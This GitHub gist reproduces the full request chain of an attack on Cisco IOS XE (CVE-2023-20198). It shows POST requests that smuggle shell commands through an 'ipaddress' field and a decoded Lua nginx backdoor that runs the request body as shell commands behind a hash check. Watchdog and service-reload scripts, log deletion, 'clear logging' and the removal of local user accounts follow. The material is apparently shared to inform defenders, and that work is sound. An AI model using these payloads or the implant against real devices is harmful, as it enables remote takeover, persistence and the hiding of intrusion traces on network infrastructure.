Skip to content

Instantly share code, notes, and snippets.

@rashimo
Last active November 14, 2023 12:54
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save rashimo/a0ef01bc02e5e9fdf46bc4f3b5193cbf to your computer and use it in GitHub Desktop.
Save rashimo/a0ef01bc02e5e9fdf46bc4f3b5193cbf to your computer and use it in GitHub Desktop.
Chain of Cisco IOS XE CVE-2023-20198 commands
## a POST request as:
POST /webui/rest/softwareMgmt/installAdd HTTP/1.1
{"filePath": "abc/aaa", "fileSystem": "", "ipaddress": "1:1:1:;id>/bootflash/PaJbOLOT;#", "mode": "tftp", "operation_type": "SMU"}
## then another command with the POC technique:
dir bootflash: | include PaJbOLOT
## then again (the base64 encoded body was shortened)
POST /webui/rest/softwareMgmt/installAdd HTTP/1.1
{"filePath": "abc/aaa", "fileSystem": "", "ipaddress": "1:1:1:;python -m base64 -d <<< CiMKIyBDb3B5cmlnaHQgKGMpIDIwMTQtMjAxOSBieSBDaXNjbyBTeXN0ZW1zLCBJbmMuCiMgQWxsIHJ > /usr/binos/conf/nginx-conf/cisco_service.conf;#", "mode": "tftp", "operation_type": "SMU"}
## the Base64 value is an Nginx configuration:
###############################################################
#
# Copyright (c) 2014-2019 by Cisco Systems, Inc.
# All rights reserved
#
# This file is stored as /usr/binos/conf/nginx-conf/cisco_service.conf
location /webui/logoutconfirm.html {
add_header Content-Type text/html;
add_header Cache-Control 'no-cache, no-store, must-revalidate';
add_header Pragma no-cache;
add_header Strict-Transport-Security "max-age=31536000; includeSubdomains";
content_by_lua '
local authorized = false
local content = ""
local method = ngx.req.get_method()
local headers = ngx.req.get_headers()
local params = ngx.req.get_uri_args()
if (method == "POST" and params ~= nil) then
if (headers["Authorization"] ~= nil ) then
local authcode = string.gsub(headers["Authorization"], "^%s*(.-)%s*$", "%1")
if (authcode ~= nil and string.match(authcode, "^%w+$") ~= nil) then
local f = io.popen("echo "..authcode.." | sha1sum ", "r")
if (f ~= nil) then
local shasum = f:read("*all")
shasum = string.lower(shasum)
if string.find(shasum,"7cb8aae6c6634b4eb92c70aa360bd76f2fc36da8") then
authorized = true
end
f:close()
end
end
end
if (authorized == true) then
ngx.req.read_body()
local body = ngx.req.get_body_data()
if (params["menu"] ~= nil and params["menu"] ~= "") then
content = "/2010202301/"
elseif (params["logon_hash"] ~= nil and params["logon_hash"] == "1") then
content = "b539859acc7f02ee68"
elseif (params["logon_hash"] ~= nil and params["logon_hash"] == "4cd071837ad02a65a8549923e084c4deabc9414f" and params["common_type"] ~= nil) then
if (params["common_type"] == "subsystem") then
local f = io.popen(body, "r")
if(f ~= nil) then
content = f:read("*all")
f:close()
end
elseif (params["common_type"] == "iox") then
ngx.req.set_header("Priv-Level", "15")
local result = ngx.location.capture("/lua5", {method=ngx.HTTP_POST, body=body})
local response = result.body
if not (response == nil or #response == 0) then
content = response
end
end
end
end
end
if (authorized == true) then
ngx.status = 200
ngx.say(content)
else
local result = ngx.location.capture("/internalWebui/login.html", {method = ngx.HTTP_GET})
if result then
ngx.status = result.status
if result.body then
ngx.say(result.body)
end
end
end
';
}
location ~* % {
add_header Content-Type text/html;
add_header Cache-Control 'no-cache, no-store, must-revalidate';
add_header Pragma no-cache;
add_header Strict-Transport-Security "max-age=31536000; includeSubdomains";
return 404;
}
################################
## then we see another POST request:
POST /webui/rest/softwareMgmt/installAdd HTTP/1.1
{"filePath": "abc/aaa", "fileSystem": "", "ipaddress": "1:1:1:;python -m base64 -d <<< CnJtIC1mICQwCm5naW54IC1zIHJlbG9hZApzbGVlcCAxMApybSAtcmYgL3RtcC9jaGFzc2lzL2xvY2FsL3JwL2NoYXNmcy9wbWFuL3N3LW5naW54LXNlcnZpY2UKbWtkaXIgIC90bXAvY2hhc3Npcy9sb2NhbC9ycC9jaGFzZnMvcG1hbi9zdy1uZ2lueC1zZXJ2aWNlCnNsZWVwIDEwCndvcmtvbi5zaCBycCBraWxsIG5naW54CnNsZWVwIDMKd29ya29uLnNoIHJwIHJlc3RhcnQgbmdpbngKc2xlZXAgMTIwCnJlbG9hZC5zaCAgICAgICAgCg== > /tmp/pvp_wd;#", "mode": "tftp", "operation_type": "SMU"}
## the Base64 value translates to the following commands:
rm -f $0
nginx -s reload
sleep 10
rm -rf /tmp/chassis/local/rp/chasfs/pman/sw-nginx-service
mkdir /tmp/chassis/local/rp/chasfs/pman/sw-nginx-service
sleep 10
workon.sh rp kill nginx
sleep 3
workon.sh rp restart nginx
sleep 120
reload.sh
## then we see:
POST /webui/rest/softwareMgmt/installAdd HTTP/1.1
{"filePath": "abc/aaa", "fileSystem": "", "ipaddress": "1:1:1:;python -m base64 -d <<< CnJtIC1mICQwICAgICAgICAKc2ggL3RtcC9wdnBfd2QgJgo= > /tmp/pvp_wd_run;#", "mode": "tftp", "operation_type": "SMU"}
## the base64 value translates to the following commands:
rm -f $0
sh /tmp/pvp_wd &
## then we see:
POST /webui/rest/softwareMgmt/installAdd HTTP/1.1
{"filePath": "abc/aaa", "fileSystem": "", "ipaddress": "1:1:1:;sh /tmp/pvp_wd_run;#", "mode": "tftp", "operation_type": "SMU"}
## next:
POST /webui/logoutconfirm.html?logon_hash=4cd071837ad02a65a8549923e084c4deabc9414f&common_type=subsystem HTTP/1.1
## with the body:
python -m base64 -d <<< CmtpbGxzY3JpcHRzKCl7CiAgICBLSUxMTkFNRT0iJDEiCiAgICBQSUQ9YHBzIC13d2F4IHwgZ3JlcCAke0tJTExOQU1FfSB8IGdyZXAgLXYgZ3JlcCB8IGN1dCAtYyAxLTVgCiAgICBmb3IgaSBpbiAkUElEOyBkbwogICAgICAga2lsbCAtOSAkaQogICAgZG9uZSAgICAKfQpraWxsc2NyaXB0cyBwdnBfd2QK | sh
## the base64 value translates to the following commands:
killscripts(){
KILLNAME="$1"
PID=`ps -wwax | grep ${KILLNAME} | grep -v grep | cut -c 1-5`
for i in $PID; do
kill -9 $i
done
}
killscripts pvp_wd
## next:
POST /webui/logoutconfirm.html?logon_hash=4cd071837ad02a65a8549923e084c4deabc9414f&common_type=subsystem HTTP/1.1
## with the body:
python -m base64 -d <<< ICAgICAgICAKTE9HX1BBVEg9YGNhdCAvdmFyL3NjcmlwdHMvbHVhL2ZlYXR1cmVzL2xvZ0FuYWx5c2lzLmx1YSB8IGdyZXAgJ2xvZ3NQYXRoID0gIicgfCBzZWQgLWUgJ3MvXi4qbG9nc1BhdGggPSAiLy8nIC1lICdzLyIuKiQvLydgCmlmIFsgISAteiAiJHtMT0dfUEFUSH0iIF0KdGhlbgogICAgcm0gLWYgIiR7TE9HX1BBVEh9IgpmaQo= | sh
## the base64 value translates to the following commands:
LOG_PATH=`cat /var/scripts/lua/features/logAnalysis.lua | grep 'logsPath = "' | sed -e 's/^.*logsPath = "//' -e 's/".*$//'`
if [ ! -z "${LOG_PATH}" ]
then
rm -f "${LOG_PATH}"
fi
## then we see a POST request:
POST /webui/logoutconfirm.html?logon_hash=4cd071837ad02a65a8549923e084c4deabc9414f&common_type=iox HTTP/1.1
## with the following bodies:
<?xml version="1.0"?> <SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <SOAP:Header> <wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext"> <wsse:UsernameToken SOAP:mustUnderstand="false"> <wsse:Username>admin</wsse:Username> <wsse:Password>*****</wsse:Password> </wsse:UsernameToken> </wsse:Security> </SOAP:Header> <SOAP:Body> <request correlator="exec110" xmlns="urn:cisco:wsma-exec"> <execCLI xsd="false"><cmd>clear logging</cmd><dialogue><expect match="leading">Clear logging buffer</expect><reply></reply></dialogue></execCLI> </request> </SOAP:Body> </SOAP:Envelope>
<?xml version="1.0"?> <SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <SOAP:Header> <wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext"> <wsse:UsernameToken SOAP:mustUnderstand="false"> <wsse:Username>admin</wsse:Username> <wsse:Password>*****</wsse:Password></wsse:UsernameToken></wsse:Security></SOAP:Header> <SOAP:Body> <request correlator="config1" xmlns="urn:cisco:wsma-config"> <configApply details="all" action-on-fail="continue"> <config-data> <cli-config-data-block>no username cisco_support</cli-config-data-block></config-data></configApply></request></SOAP:Body></SOAP:Envelope>
<?xml version="1.0"?> <SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <SOAP:Header> <wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext"> <wsse:UsernameToken SOAP:mustUnderstand="false"> <wsse:Username>admin</wsse:Username> <wsse:Password>*****</wsse:Password></wsse:UsernameToken></wsse:Security></SOAP:Header> <SOAP:Body> <request correlator="config1" xmlns="urn:cisco:wsma-config"> <configApply details="all" action-on-fail="continue"> <config-data> <cli-config-data-block>no username cisco_tac_admin</cli-config-data-block></config-data></configApply></request></SOAP:Body></SOAP:Envelope>
<?xml version="1.0"?> <SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <SOAP:Header> <wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext"> <wsse:UsernameToken SOAP:mustUnderstand="false"> <wsse:Username>admin</wsse:Username> <wsse:Password>*****</wsse:Password></wsse:UsernameToken></wsse:Security></SOAP:Header> <SOAP:Body> <request correlator="config1" xmlns="urn:cisco:wsma-config"> <configApply details="all" action-on-fail="continue"> <config-data> <cli-config-data-block>no username cisco_sys_manager</cli-config-data-block></config-data></configApply></request></SOAP:Body></SOAP:Envelope>
<?xml version="1.0"?> <SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <SOAP:Header> <wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext"> <wsse:UsernameToken SOAP:mustUnderstand="false"> <wsse:Username>admin</wsse:Username><wsse:Password>*****</wsse:Password></wsse:UsernameToken></wsse:Security></SOAP:Header><SOAP:Body><request correlator="exec1" xmlns="urn:cisco:wsma-exec"> <execCLI xsd="false"><cmd>show ip interface brief</cmd><dialogue><expect></expect><reply></reply></dialogue></execCLI></request></SOAP:Body></SOAP:Envelope>
<?xml version="1.0"?> <SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <SOAP:Header> <wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext"> <wsse:UsernameToken SOAP:mustUnderstand="false"> <wsse:Username>admin</wsse:Username><wsse:Password>*****</wsse:Password></wsse:UsernameToken></wsse:Security></SOAP:Header><SOAP:Body><request correlator="exec1" xmlns="urn:cisco:wsma-exec"> <execCLI xsd="false"><cmd>show ip dns view</cmd><dialogue><expect></expect><reply></reply></dialogue></execCLI></request></SOAP:Body></SOAP:Envelope>
<?xml version="1.0"?> <SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <SOAP:Header> <wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext"> <wsse:UsernameToken SOAP:mustUnderstand="false"> <wsse:Username>admin</wsse:Username><wsse:Password>*****</wsse:Password></wsse:UsernameToken></wsse:Security></SOAP:Header><SOAP:Body><request correlator="exec1" xmlns="urn:cisco:wsma-exec"> <execCLI xsd="false"><cmd>show ip name-servers</cmd><dialogue><expect></expect><reply></reply></dialogue></execCLI></request></SOAP:Body></SOAP:Envelope>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment